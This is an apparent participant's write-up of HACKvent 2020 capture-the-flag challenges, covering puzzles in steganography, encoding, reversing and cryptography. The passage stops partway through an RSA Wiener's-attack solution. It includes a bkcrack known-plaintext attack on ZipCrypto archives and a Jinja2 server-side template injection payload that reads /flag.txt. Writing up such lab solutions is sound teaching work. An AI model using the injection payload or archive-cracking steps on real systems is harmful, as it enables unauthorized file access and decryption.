Hacking-Lab hosted yet another HACKvent during the 2020 Holiday season, running from Nov 29th to Dec 24th. Every day a new challenge got released.

HV20.(-1) Twelve steps of christmas

Author: Bread

Points: 100


On the third day of christmas my true love sent to me…

three caesar salads, two to (the) six arguments, one quick response.


It’s all in the hints: Ceasar Cipher, 2^6 = base64, followed by some QR-code. The only small hurdle is that the QR code in almost completely white, the only two colors are #FFFFFF and #FCFCFC. But extracting a bit plane solves that.

CyberChef solution

Flag: HV20{34t-sl33p-haxx-rep34t}

HV20.01 Happy HACKvent 2020

Author: mij-the-dj

Points: 100


Welcome to this year’s HACKvent.

Attached you can find the “Official” invitation to the HackVent.


One of my very young Cyber Elves cut some parts of the card with his alpha scissors.

Have a great HACKvent,

– Santa

This can also be solved with CyberChef. If you extract the correct bit plane, you can read the flag clearly.

CyberChef solution (upload the image as input)

Flag: HV20{7vxFXB-ItHnqf-PuGNqZ}

HV20.02 Chinese Animals

Author: The Compiler

Points: 100


I’ve received this note from a friend, who is a Chinese CTF player:


Unfortunately, Google Translate wasn’t of much help:


I suspect the data has somehow been messed up while transmitting it.

Sadly, I can’t ask my friend about more details. The Great Chinese Firewall is thwarting our attempts to reach each other, and there’s no way I’m going to install WeChat on my phone.

Even more interesting than the challenge itself is what you can get out of it, if you put it into different online translators. You can get some pretty interesting and even some really dark translations.

The real solution is quickly revealed if you use the CyberChef module “Text Encoding Brute Force”: Brute Forcing

If you omit the last “e” of the flag content, encode the text using UTF-16BE and then re-append the missing “e” you get the flag:

CyberChef scolution

Flag: HV20{small-elegant-butterfly-loves-grass-mud-horse}

HV20.03 Packed gifts

Author: darkstar

Points: 100


One of the elves has unfortunately added a password to the last presents delivery and we cannot open it. The elf has taken a few days off after all the stress of the last weeks and is not available. Can you open the package for us?

We found the following packages:

We get two ZIP files, each containing the 100 files 0000.bin to 0099.bin. All those files contain base64 encoded data, but it just seems to be random bytes without useful information. The second package does additionally contain flag.bin, but the entire archive is encrypted. If we look at it with a command like 7z l -slt package2.zip we can see that it uses the ZipCrypto Deflate method for encryption. If we simply google for ZipCrypto, we can quickly find this blog which describes the possibility of a known plaintext attack. Since we do have two archives and the second seems to be an encrypted version of the first, we might have a chance.

However, simply trying to run it on the first file in the archive won’t yield any results. That is because the files in the second archive might have the same names as the ones in the first, but are actually not the same files. This can be seen if you have a look at the “CRC” information inside the archive, which are checksums of the unencrypted files. We therefore have to find a file in both archives with the same checksum, which would strongly suggest that the original files are the same. To do that we first extract the CRC and filename information from both archives with some command line magic:

7z -slt l package1.zip | egrep "Path|CRC" | tail -n +2 | tac | tr -d '\n' | sed 's/CRC = /\n/g' | sed 's/Path = / /g' | sort > package1-crcs.txt

7z -slt l package2.zip | egrep "Path|CRC" | tail -n +2 | tac | tr -d '\n' | sed 's/CRC = /\n/g' | sed 's/Path = / /g' | sort > package2-crcs.txt

We can then compare all the checksums to find one that appears more than once:

cat package1-crcs.txt package2-crcs.txt | cut -d ' ' -f 1 | sort | uniq -c | sort -n

We can see that checksum FCD6B08A is identical for both 0053.bin files. So we can extract that file from package1.zip and run bkcrack like in the blog article.

7z e package1.zip 0053.bin

bkcrack-1.0.0-Linux/bkcrack -C package2.zip -c 0053.bin -P package1.zip -p 0053.bin

After some computation this should come back with the result and we know that the keys are 2445b967 cfb14967 dceb769b. We can use that to extract the flag, but we need to inflate it afterwards to get the original file back:

bkcrack-1.0.0-Linux/bkcrack -C package2.zip -c flag.bin -k 2445b967 cfb14967 dceb769b -d flag.bin

python3 bkcrack-1.0.0-Linux/tools/inflate.py < flag.bin > flag.clear

base64 -d < flag.clear

This gives us the flag.

Flag: HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}

HV20.H1 It’s a secret!

Author: darkstar

Points: 50


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.

On Dec 3rd, a bonus challenge was also released and those are typically to be found within the challenge of the day. So it might be a good idea to also extract every other file:

mkdir clear

for i in {0000..0099}; do bkcrack-1.0.0-Linux/bkcrack -C package2.zip -c ${i}.bin -k 2445b967 cfb14967 dceb769b -d clear/${i}.bin; python3 bkcrack-1.0.0-Linux/tools/inflate.py < clear/${i}.bin > clear/${i}.b64 ; done

base64 -d < clear/*.b64 | grep -a HV20 | strings

The -a flag of grep and the strings command are just there because some of the files contain weird characters that mess up your terminal if you print them.

Flag: HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}

HV20.04 Br❤️celet

Author: brp64

Points: 100


Santa was given a nice bracelet by one of his elves. Little does he know that the secret admirer has hidden a message in the pattern of the bracelet…


We are given a picture of a bracelet with colored beads on it. My first observations were:

  • There are five colors
  • Some colors appear way more often than others
  • Except for two violet ones, two of the same color never appear next to each other

One of my first ideas - which turned out to be pure luck - was to use the violet beads as dividers, simply because they appeared to be the most uniform in distribution and because I noticed the next very interesting fact: In between two violet beads, no color is ever present more than once.

I then began to focus on what’s inbetween the violet beads and realized that the order of the colors inside those blocks was always the same. Not every color was always represented, but if it was it was always in the order pink - green - blue - yellow. Since 2^4 = 16 I concluded that the colors would most likely be a BCD-Code and every block is a hex nibble.

I transcribed every bead by hand and converted them into their respective numbers. So the start looks like this:

g v py v gb v pg v		Bead colors
4 | 81 | 42 | 84 |		BCD part 1
4 |  9 |  6 |  c |		BCD part 2
  49   |   6c    |		Hex
  I    |    l    |		ASCII

Doing this for the rest of the bracelet gives the flag.

Flag: HV20{Ilov3y0uS4n74}

And as a bonus a commented CyberChef recipe that converts a transcribed string of colors into the flag: Bonus CyberChef

HV20.05 Image DNA

Author: blaknyte0

Points: 100


Santa has thousands of Christmas balls in stock. They all look the same, but he can still tell them apart. Can you see the difference?



This is a very guessy stego challenge that requires using some well known tools for those types of challenges.

At first we can try if any strings are embedded in the images and we find some:

$ strings -50 *jpg

Those are DNA sequences which matches the name of the challenge. The next part is optional, but does speed up the step after that. We can run steghide with an empty password on the images and will find something within the first ball:

$ steghide extract -sf hv20.05-ball1.jpg
Enter passphrase: 
wrote extracted data to "T.png".

This is the image: T

After that we need to convert the DNA sequence into a binary string. As there are 4 nucleotids, we can naturally try to assume each of them a two bit value. The extracted image tells us that T = 11, which reduces our search space from 24 possible combinations down to 6.

However, simply converting the sequences does not produce any immediately useful results, when we try to convert the binary strings into ASCII text. But if we XOR the two strings together, one of the possible combinations yields a flag. This is a small script to brute force all combinations:

#!/usr/bin/env python3


for c in ['00', '01', '10']:
    for t in ['11']:
        for g in ['00', '01', '10']:
            for a in ['00', '01', '10']:
                if c != g and c != a and g != a:
                    dna1bin = dna1.replace('C', c).replace('T', t).replace('G', g).replace('A', a)
                    dna2bin = dna2.replace('C', c).replace('T', t).replace('G', g).replace('A', a)
                    for i in range(len(dna1bin) // 8 ):
                        dna1part = int(dna1bin[i*8:i*8+8], 2)
                        dna2part = int(dna2bin[i*8:i*8+8], 2)
                        print(chr(dna1part ^ dna2part), end='')

Flag: HV20{s4m3s4m3bu7diff3r3nt}

HV20.06 Twelve steps of christmas

Author: Bread

Points: 200


On the sixth day of Christmas my true love sent to me…

six valid QRs, five potential scrambles, four orientation bottom and right, and the rest has been said previously.



a printer


  • selbmarcs

We are presented with a the net of a Rubik’s Cube that once was a cube of (hopefully) valid QR codes. While I do have a matching Cube at home, I didn’t feel like doing this one physically and opted for a digital solving approach. But manually shifting around all the pieces also wasn’t something I wanted to do, which is why I decided to brute force my way to the solution. The idea is that a QR code has certain characteristics which makes it possible to determine, where a particular corner originated from. As you can see here aside from the obvious Position markers, there are also the Timing lines, which have to alternate between black and white. So the first step was to cut the image into all the small corner pieces. I then sorted then into the 4 corners, using the Timing lines to determine where they should go.

I then wrote a small script which could stitch together all possible combinations. Since there are 6 possible pieces per corner, that makes a total of 6^4 = 1.296 QR code candidates. I then scanned all of them and … nothing. Later I found out that this was due to the fact that I cut away the black lines, which are essential. The hint stating that was added a couple of hours later. So I modified the script to include an offset:

#!/usr/bin/env python3
from PIL import Image

for tl in range(1,7):
    for tr in range(1,7):
        for bl in range(1,7):
            for br in range(1,7):
                tl_i = Image.open(f"top-left/{tl}.png")
                tr_i = Image.open(f"top-right/{tr}.png")
                bl_i = Image.open(f"bottom-left/{bl}.png")
                br_i = Image.open(f"bottom-right/{br}.png")
                offset = 13
                qr_i = Image.new('RGB', (172 + offset, 172 + offset))
                qr_i.paste(tl_i, (0, 0))
                qr_i.paste(tr_i, (86 + offset, 0))
                qr_i.paste(bl_i, (0, 86 + offset))
                qr_i.paste(br_i, (86 + offset, 86 + offset))

If you want, you can download the script with the cut out pieces here

The last step was to scan all the QR codes. I first tried it with Python, but qrtools doesn’t seem to work with Python 2. So I once again turned to trusty CyberChef, which allows parallell processing of multiple files. Using a simple one-step “Parse QR code” I opened all 1.296 QR codes at once. After a short while, we can then filter the tabs with errors to find valid QR codes. This yields 6 flag parts, which can be put together to get the flag:


Flag: HV20{Erno_Rubik_would_be_proud. Petrus_is_Valid.#HV20QRubicsChal}

HV20.07 Bad morals

Author: kuyaya

Points: 200


One of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year’s HACKvent 2020. The problem is, he can’t remember how to use the program any more and the link to the documentation just says 404 Not found. I bet he learned that in the Programming 101 class as well.

Can you help him get the flag back?



  • There are nearly infinite inputs that pass almost all the tests in the program
  • For the correct flag, the final test has to be successful as well

We get a small command line program, that asks us for 3 inputs and afterwards (most likely) terminates itself stating that we should try again. If we run file against it, we can see that it is a .NET assembly, so the next step is to try dnSpy to see if we can reverse it. We are lucky and it decompiles really nicely, giving us this sourcecode:

public static void Main(string[] args)
		Console.Write("Your first input: ");
		char[] array = Console.ReadLine().ToCharArray();
		string text = "";
		for (int i = 0; i < array.Length; i++)
			if (i % 2 == 0 && i + 2 <= array.Length)
				text += array[i + 1].ToString();
		string str;
		if (text == "BumBumWithTheTumTum")
			str = string.Concat(new object[]
				array[8].GetHashCode() % 10,
			if (text == "")
				Console.WriteLine("Your input is not allowed to result in an empty string");
			str = text;
		Console.Write("Your second input: ");
		char[] array2 = Console.ReadLine().ToCharArray();
		text = "";
		for (int j = 0; j < array2.Length; j++)
			text += array2[j].ToString();
		string s;
		if (text == "BackAndForth")
			s = string.Concat(new string[]
			if (text == "")
				Console.WriteLine("Your input is not allowed to result in an empty string");
			s = text;
		Console.Write("Your third input: ");
		char[] array3 = Console.ReadLine().ToCharArray();
		text = "";
		byte b = 42;
		for (int k = 0; k < array3.Length; k++)
			char c = array3[k] ^ (char)b;
			b = (byte)((int)b + k - 4);
			text += c.ToString();
		string str2;
		if (text == "DinosAreLit")
			str2 = string.Concat(new string[]
			if (text == "")
				Console.WriteLine("Your input is not allowed to result in an empty string");
			str2 = text;
		byte[] array4 = Convert.FromBase64String(str + str2);
		byte[] array5 = Convert.FromBase64String(s);
		byte[] array6 = new byte[array4.Length];
		for (int l = 0; l < array4.Length; l++)
			array6[l] = (array4[l] ^ array5[l % array5.Length]);
		byte[] array7 = SHA1.Create().ComputeHash(array6);
		byte[] array8 = new byte[]
			107, 64, 119, 202, 154, 218, 200, 113, 63, 1, 66, 148, 207, 23, 254, 198, 197, 79, 21, 10
		for (int m = 0; m < array7.Length; m++)
			if (array7[m] != array8[m])
				Console.WriteLine("Your inputs do not result in the flag.");
		string @string = Encoding.ASCII.GetString(array4);
		if (@string.StartsWith("HV20{"))
			Console.WriteLine("Congratulations! You're now worthy to claim your flag: {0}", @string);
		Console.WriteLine("Please try again.");
		Console.WriteLine("Press enter to exit.");

So the main program flow is as follows:

  • Every input is checked for some condition
  • Some characters of each input are being placed in some Base64 strings (input1 -> str, input2 -> s, input 3 -> str2)
  • decode_base64(str + str2) is our final flag, but to make sure we have the correct one an additional check is performed:
    • The flag candidate is XOR’ed with decode_base64(s)
    • The SHA1 checksum is being calculated and compared against the correct one

So our goal is to deduce as much of the input as possible by logic and then bruteforce our way to the finish line. Let’s break it down by input.

Input 1

Every second letter of our input is discarded and what’s left has to match BumBumWithTheTumTum. That means that we know every odd character of the correct input. If we look at the definition of str we can see that most of the characters from our input come from odd indices and there are only two characters left, one of which has to be a digit.

That means that str = SFYyMHtyMz.zcnMzXzNuZzFuMzNyMW5n.2 where each . represents an unknown character and the first one has to be a digit.


This one is straight forward (or should I say backward), as it just reverses our input, checks it against BackAndForth, so that means the correct input is htroFdnAkcaB, which results in s = Q1RGX3hsNHoxbmnf.


Our last input is being XOR’ed and then compared to DinosAreLit. Since XOR is reversible, we can input this string, set a breakpoint and look at what the result is to get the needed input. If we do that we can see that our input should be nOMNSaSFjC[, which means str2 = 00ZDNfMzRzeX0=.


Putting everything together we only have 2 unknown characters that we need to crack and we have a valid hash to compare out attempts against.

A small Python script will do the job:

#!/usr/bin/env python3

import hashlib
import base64
import string

s = "Q1RGX3hsNHoxbmnf"
array5 = base64.b64decode(s)

for i in string.digits:
    for j in string.ascii_letters + string.digits:
        str = f"SFYyMHtyMz{i}zcnMzXzNuZzFuMzNyMW5n{j}200ZDNfMzRzeX0="
        array4 = base64.b64decode(str)
        array6 = bytearray(len(array4))
        for l in range(len(array4)):
            array6[l] = array4[l] ^ array5[l % len(array5)]
        if hashlib.sha1(array6).hexdigest() == "6b4077ca9adac8713f014294cf17fec6c54f150a":

Flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}

HV20.08 The game

Author: M.

Points: 200


Let’s play another little game this year. Once again, as every year, I promise it is hardly obfuscated.


We get a huge text file that look like a Tetris game if you scroll our far enough. It is a heavily obfuscated perl program that can actually run and unsurprisingly is a real, playable game. If we start to play it we can see that the first few tetrominoes are made out of # chars, but after that some letters also appear and they start to spell HV20{ which does look promising. But first, let’s try to make the code more readable. If we change the very first eval to print, run it and beautify the output with tools like https://www.tutorialspoint.com/online_perl_formatter.htm we get the following code:

use Term::ReadKey;
ReadMode 5;
$| = 1;
print "\ec\e[2J\e[?25l\e[?7l\e[1;1H\e[0;0r";
@FF = split //,
@BB = ( 89, 51, 30, 27, 75, 294 );
$w  = 11;
$h  = 23;
print(  "\e[1;1H\e[103m"
      . ( ' ' x ( 2 * $w + 2 ) )
      . "\e[0m\r\n"
      . (
        ( "\e[103m \e[0m" . ( ' ' x ( 2 * $w ) ) . "\e[103m \e[0m\r\n" ) x $h )
      . "\e[103m"
      . ( ' ' x ( 2 * $w + 2 ) )
      . "\e[2;1H\e[0m" );

sub bl {
    ( $b, $bc, $bcc, $x, $y ) = @_;
    for $yy ( 0 .. 2 ) {
        for $xx ( 0 .. 5 ) {
            print(  "\e[${bcc}m\e["
                  . ( $yy + $y + 2 ) . ";"
                  . ( $xx + $x * 2 + 2 )
                  . "H${bc}" )
              if ( ( ( $b & ( 0b111 << ( $yy * 3 ) ) ) >> ( $yy * 3 ) ) &
                ( 4 >> ( $xx >> 1 ) ) );

sub r {
    $_ = shift;
    ( $_ & 4 ) << 6 | ( $_ & 32 ) << 2 | ( $_ & 256 ) >> 2 | ( $_ & 2 ) << 4 |
      ( $_ & 16 ) | ( $_ & 128 ) >> 4 | ( $_ & 1 ) << 2 | ( $_ & 8 ) >> 2 |
      ( $_ & 64 ) >> 6;

sub _s {
    ( $b, $bc, $x, $y ) = @_;
    for $yy ( 0 .. 2 ) {
        for $xx ( 0 .. 5 ) {
            substr( $f[ $yy + $y ], ( $xx + $x ), 1 ) = $bc
              if (
                    ( ( $b & ( 0b111 << ( $yy * 3 ) ) ) >> ( $yy * 3 ) ) &
                    ( 4 >> $xx )
    $Q = 'QcXgWw9d4';
    @f = grep { / / } @f;
    unshift @f, ( " " x $w ) while ( @f < $h );

sub cb {
    $_Q = 'ljhc0hsA5';
    ( $b, $x, $y ) = @_;
    for $yy ( 0 .. 2 ) {
        for $xx ( 0 .. 2 ) {
            return 1
              if (
                    ( ( $b & ( 0b111 << ( $yy * 3 ) ) ) >> ( $yy * 3 ) ) &
                    ( 4 >> $xx )
                && (   ( $yy + $y >= $h )
                    || ( $xx + $x < 0 )
                    || ( $xx + $x >= $w )
                    || ( substr( $f[ $yy + $y ], ( $xx + $x ), 1 ) ne ' ' ) )

sub p {
    for $yy ( 0 .. $#f ) {
        print( "\e[" . ( $yy + 2 ) . ";2H\e[0m" );
        $_ = $f[$yy];
sub k { $k = ''; $k .= $c while ( $c = ReadKey(-1) ); $k; }

sub n {
    $bx = 5;
    $by = 0;
    $bi = int( rand( scalar @BB ) );
    $__ = $BB[$bi];
    $_b = $FF[$sc];
    $sc > 77 && $sc < 98 && $sc != 82 && eval( '$_b' . "=~y#$Q#$_Q#" )
      || $sc == 98 && $_b =~ s/./0/;
@f = ( " " x $w ) x $h;
while (1) {
    $k = k();
    last if ( $k =~ /q/ );
    $k = substr( $k, 2, 1 );
    $dx = ( $k eq 'C' ) - ( $k eq 'D' );
    $bx += $dx unless ( cb( $__, $bx + $dx, $by ) );
    if ( $k eq 'A' ) {
        unless ( cb( r($__), $bx, $by ) ) { $__ = r($__) }
        elsif ( !cb( r($__), $bx + 1, $by ) ) { $__ = r($__); $bx++ }
        elsif ( !cb( r($__), $bx - 1, $by ) ) { $__ = r($__); $bx-- }
    bl( $__, $_b, 101 + $bi, $bx, $by );
    select( undef, undef, undef, 0.1 );
    if ( cb( $__, $bx, ++$by ) ) {
          if ( $by < 2 );
        _s( $__, $_b, $bx, $by - 1 );
    else { bl( $__, " ", 0, $bx, $by - 1 ); }
ReadMode 0;
print "\ec";

Right at the top we have a string that contains all the characters which the tetrominoes are made of. So we just have to take that string, remove the # signs and have a flag, … which - in case you don’t recognize the link just by looking at it - is the classic Rickroll.

So we are not yet done with the challenge.

Next I skimmed over the code to see if I could spot the general flow of the game. The line that jumped out at me was $Q = 'QcXgWw9d4'; This looked a lot like the id inside the flag, although in a slightly different order. Just a few lines below, we can find $_Q = 'ljhc0hsA5'; which looks very similarly. The only place where these two variables are used is inside the sub n() in the following lines:

    $_b = $FF[$sc];
    $sc > 77 && $sc < 98 && $sc != 82 && eval( '$_b' . "=~y#$Q#$_Q#" )
      || $sc == 98 && $_b =~ s/./0/;

What’s happening here is basically this:

  • $_b is initialized with a character from FF, our false flag.
  • The second part is a convoluted way to basically combine a lot of if statements that only executes the last parts (specifically the eval one) if the conditions before it are true
  • The eval statement replaces some characters with others (=~ is a regular expression match and replace)

So $_b takes the characters of the false flag one by one and sometimes replaces chars that are in $Q with chars in $_Q. We could now try to play the game until the interesting parts of the flag are revealed to us, however I instead removed everything game related and reduced the code to it’s bare minimum. This was left afterwards:

@FF = split //,
@BB = ( 89, 51, 30, 27, 75, 294 );

sub n {
    $bi = int( rand( scalar @BB ) );
    $__ = $BB[$bi];
    $_b = $FF[$sc];
    $sc > 77 && $sc < 98 && $sc != 82 && eval( '$_b' . "=~y#$Q#$_Q#" )
      || $sc == 98 && $_b =~ s/./0/;

$Q = 'QcXgWw9d4';
$_Q = 'ljhc0hsA5';
$i = 0;
while ($i < 110) {
  print $_b;

Running this code prints out the flag, which we just need to clean of the #’s to get the final (real) flag.

Flag: HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}

HV20.09 Santa’s Gingerbread Factory

Author: inik

Points: 200


Here you can customize your absolutely fat-free gingerbread man.

Note: Start your personal instance from the RESOURCES section on top.

Goal / Mission

Besides the gingerbread men, there are other goodies there. Let’s see if you can get the goodie, which is stored in /flag.txt.

The website is a small form where we can create our own gingerbread which looks like this:


Since there is no JavaScript on the page to render our result, but it is instead returned from the server, the approach is to try for Server Side Template Injection (SSTI). I found a guide on hacktricks which explains how to identify and exploit such a vulnerability. If we use the provided test strings we can see that inputting a name of {{6*7}} does in fact result in the server displaying our name as 42, confirming we have an injection point with a Jinja2 backend. I then used this guide for how to read local files which we can almost copy to the letter. Inputting a name of {{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}} results in the server handing us the flag.


Flag: HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}

HV20.10 Be patient with the adjacent

Author: Bread

Points: 200


Ever wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way.

Hmm, I cannot seem to read the file either, maybe the internet knows?



  • Hope this cliques for you
  • bin2asc will help you with this, but …
  • segfaults can be fixed - maybe read the source
  • If you are using Windows for this challenge, make sure to add a b to to the fopen calls on lines 37 and 58
  • There is more than one thing you can do with this type of file! Try other options…
  • Groups, not group

The first part of this challenge was to figure out what data we’re even looking at. Using some of the hints provided throughout the day, we can find out that we are dealing with a “Max clique” problem. The problem is described here on Wikipedia, the mentioned program comes form here and can be found here. If we look at the data, we can see that the first couple of lines are comment, which includes a list of nice children. Converting those numbers from charcode to ASCII does give us hv73{not_THE~FLAG!=(|s0<>SO*Ry}-bread, so it’s not our flag, but it will be important later on.

One tool I could find for that problem is https://github.com/darrenstrash/quick-cliques. It does need to data in another format though, so we need to convert it first. After modifying genbin.h (increasing MAX_NR_VERTICES to something greater than our 18876) and compiling the bin2asc we can run it on the data. The outputted format is still not exactly how quick-cliques wants it, so further conversion is needed. We have to make sure to include every edge in both directions. That is, if a,b is in the file b,a has to be in there as well. The following commands achieve that:

bin2asc data.col.b data.col		#convert data
echo 18876 > data.custom		#number of vertices
echo 877840 >> data.custom		#number of edges
grep '^e ' data.col | awk -F ' ' '{print $2","$3"\n"$3","$2}' | sort -n >> data.custom	#include every edge in both direction

Now we can run quick-cliques on the data:

quick-cliques-master/bin/qc --input-file=data.custom --algorithm=hybrid > quick-output.txt

We now have a file that list the maximum clique for every vertex. Going back to the list of nice children, the last step is to count the size of the cliques, those children are in and converting those numbers from charcode to ASCII to get the flag. The following script does that. It works by grepping for the lines with the nice children in them and then counts the number of entries (by converting spaces to new lines and counting the lines).


for child in 104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 ; do
    clique=$(grep "^${child} " quick-output.txt | tr ' '  '\n' | wc -l)
    printf "\x$(printf %x ${clique})"

Flag: HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}

HV20.11 Chris’mas carol

Author: Chris

Points: 200


Since yesterday’s challenge seems to have been a bit on the hard side, we’re adding a small musical innuendo to relax.

My friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern?



  • He also sent this image, but that doesn’t look like Miami’s skyline to me.

If we google the second image we can find the website https://www.mobilefish.com/services/steganography/steganography.php which has that image (not just a similar one, but exactly this image) as an example. So the natural next step is to try to get something out of our first image with this tool. Doing so reveals a hidden file flag.zip (you have to scroll down on the page to see it, it isn’t really obvious). This file is encrypted however, so we need to find a password. Looking back at the notes we can notice small 0x in front of every line and the time signature is also 16 16, further hinting at hex encoding. The next step is to find the correct musical notation as there doesn’t seem to be a clear consensus what to call each note, but after some trial and error I could find this image which covers (almost) all the notes we need. Just converting them into readable characters won’t work, so one of the things I tried was to xor the two lines, which does produce something promising.

e3 b4 f4 e3 d3 e2 d3 a5 b5 d5 a2 e5 a5 e3 a3
b3 e3 d5 d3 a3 d1 a1 c4 e3 e4 d1 d4 d1 d3 d1

P  W  !  0  p  3  r  a  V  1  s  1  t  0  r 

With that we can open the archive and get the flag.

Flag: HV20{r3ad-th3-mus1c!}

HV20.12 Wiener waltz

Author: SmartSmurf

Points: 200


During their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the “Green IT” initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent, around 1/4 of the length of the modulus - impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn’t it?


Your SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message?



  • Don’t waste time with the attempt to brute-force the private key

Looking at the PCAP, we can see that there are two TCP streams. The one is purely uni-directional and seems to be encrypted from the get go, while the second one looks way more interesting to us. We can extract it with the following command:

tshark -r b7307460-be03-45be-bd9f-b404b48e62c9.pcap -Y tcp.stream==1 -T fields -e data | xxd -r -p | jq	

It looks like there is some setup (the pubkey message), followed by some blocks of encrypted data. We know that it is RSA and the challenge name is a huge hint. Since d is “small” compared to N, it is susceptible to Wiener’s attack. Looking at the pubkey, it states that the two values are in the mpz_export format. Searching for that leads us to https://gmplib.org/manual/Integer-Import-and-Export. So with the help of two additional man pages (Initializing Integers and Converting Integers) I could write this small program to convert the numbers into integers. I used a small CyberChef recipe to convert the numbers from Base64 to a C array.

#include <stdio.h>
#include <gmp.h>

int main()
    char n_rep[256] = {'\x75','\xb9','\xf6','\xe5','\x34','\xa3','\x0e','\x15','\x20','\x7b','\x82','\xfa','\xf0','\x06','\x28','\xa0','\x8a','\xb0','\xa3','\x41','\xc2','\xda','\x62','\x18','\xc4','\xaf','\xc8','\x0a','\x77','\x3e','\xf3','\xfd','\x1f','\x66','\x2d','\x42','\x1e','\x8f','\xd0','\xc2','\x23','\xc2','\x70','\x73','\x3d','\xe2','\x36','\x1d','\x7e','\x3d','\xcf','\x21','\x01','\x53','\xae','\x2f','\x63','\xff','\x36','\xb7','\xa0','\xef','\xb7','\x81','\x52','\xb7','\xf5','\xb8','\xf6','\x3b','\xd3','\x9e','\x90','\x63','\xc6','\xd8','\xcd','\x46','\xb4','\xdd','\x12','\xa7','\xe9','\x6d','\x7a','\x59','\x4b','\x97','\x5a','\x15','\xf9','\x30','\x69','\x80','\x6c','\x83','\xb7','\xcb','\xdc','\x08','\x04','\x75','\x07','\xab','\x21','\x38','\x96','\xe3','\x3c','\x01','\x6a','\x2f','\xc8','\x93','\x69','\x6d','\x42','\xe0','\xac','\x86','\x0d','\x54','\x21','\x42','\xb7','\xe4','\x5e','\xd0','\x1d','\x62','\xfd','\xd9','\x68','\x77','\x15','\xf2','\xd0','\xb8','\xce','\xd8','\x00','\xe1','\xeb','\x8f','\xf6','\x8d','\x6a','\xfa','\x46','\x6e','\xc7','\x47','\xd3','\xbf','\x7d','\x64','\x25','\x21','\x3b','\x2b','\x58','\x89','\x0e','\x91','\x9f','\xcb','\x51','\xe2','\x27','\x98','\x0e','\x5f','\x94','\xfd','\x7c','\x4c','\xb3','\x49','\x1d','\x24','\x03','\x7b','\x24','\xdd','\xad','\xf9','\xa9','\x3b','\x94','\x53','\x53','\x96','\x90','\x7e','\x4c','\xab','\x2b','\x0b','\x54','\xa6','\x57','\x88','\x67','\x12','\xb4','\xd1','\x2b','\x95','\xa8','\x20','\xbc','\x96','\xfa','\xa0','\xa9','\x31','\xd5','\xda','\xfd','\x9d','\x86','\xea','\x17','\x16','\x90','\x1d','\xeb','\xf4','\x10','\x55','\xf8','\x11','\x57','\xcf','\xa9','\x0c','\xc4','\xcd','\xeb','\x1a','\xf5','\x90','\x19','\x4e','\xdc','\x5b','\xc2','\x07','\x15','\xf5','\x99','\x93','\xa7','\x6e','\x4c','\x66'};
    mpz_t n;
    mpz_import(n, 64, -1, 4, 1, 0, n_rep); // count = 64, because it reads in size (=4) bytes
    printf("n: %s\n", mpz_get_str(NULL, 10, n));

    char e_rep[256] = {'\x4b','\xfd','\x0e','\xcf','\x3c','\xc3','\x45','\xdb','\x29','\xb3','\xe2','\x3c','\xe6','\xd3','\x62','\xe1','\xdd','\x62','\xdd','\xdd','\x04','\xbb','\xca','\x62','\x99','\xc3','\xf9','\x48','\x16','\xaa','\x4d','\xe0','\x73','\x70','\x00','\xed','\xba','\xb0','\xd8','\x1e','\x4d','\x50','\xba','\x8a','\x9d','\x4e','\xdc','\x17','\xf5','\x76','\x35','\x5a','\x28','\xba','\x02','\x7c','\x92','\xa4','\x44','\x3d','\x79','\x41','\x04','\x4d','\x84','\x24','\x4d','\x1a','\x6a','\xf6','\xb0','\x60','\x80','\x89','\x26','\xb8','\x59','\xcb','\xca','\x0b','\xa3','\x15','\x3f','\x92','\x23','\x76','\x7e','\x1c','\xb0','\xdf','\x31','\x69','\x41','\xc5','\xa3','\xd6','\xdc','\x4c','\x68','\xe5','\x8a','\xaa','\xaf','\x37','\x71','\xe1','\x9c','\xde','\xd5','\xda','\x85','\x34','\x2e','\x63','\x25','\x15','\x44','\x24','\x1c','\x9d','\xed','\xce','\xbe','\xc2','\xa8','\x93','\x9d','\x2e','\x1d','\x47','\xbe','\xe6','\x9c','\x56','\x8f','\x1e','\xdf','\xfd','\x22','\xe3','\x21','\x8a','\x05','\x62','\xb2','\x9b','\x71','\x3c','\xb2','\x7e','\x83','\xd4','\x17','\xe1','\x92','\x57','\xf2','\xe7','\x14','\xe8','\x63','\xd2','\x57','\x3c','\xd3','\x9b','\x09','\x43','\x22','\x36','\x9e','\x9e','\x1e','\xcb','\xd1','\xb0','\xb5','\x52','\xaf','\xde','\xb9','\x30','\xd4','\x26','\x3c','\xcd','\x5a','\x73','\x29','\x1c','\xb1','\xe7','\x4b','\x3d','\xaf','\x83','\x12','\xe0','\xe1','\x9b','\x70','\x8b','\xdd','\x5d','\x3a','\x93','\xbb','\x2a','\x3b','\xdd','\x65','\x0e','\xfe','\xfa','\x79','\x47','\x44','\x4e','\xb3','\x94','\xc1','\xd3','\xb2','\x73','\xc5','\x4b','\x02','\xf0','\x1b','\x56','\x71','\x9c','\x65','\x5d','\x16','\x7b','\x8c','\x8c','\x46','\xcf','\x03','\x77','\x5c','\x4d','\xee','\x78','\x2f','\x13','\x92','\x6f','\x67','\x2f','\x64','\xa0','\xd9','\xa8'};
    mpz_t e;
    mpz_import(e, 64, -1, 4, 1, 0, e_rep);
    printf("e: %s\n", mpz_get_str(NULL, 10, e));

        return 0;

To compile the code, we need to run gcc convert.c -o convert -lgmp.

After we now have the integers we need to break them. We need to extract the data first and then the trusty RsaCtfTool comes in handy.

jq -r 'select(.blockId==0) | select(.data) | .data' stream1.tcp | base64 -d > data.bin
jq -r 'select(.blockId==1) | select(.data) | .data' stream1.tcp | base64 -d >> data.bin
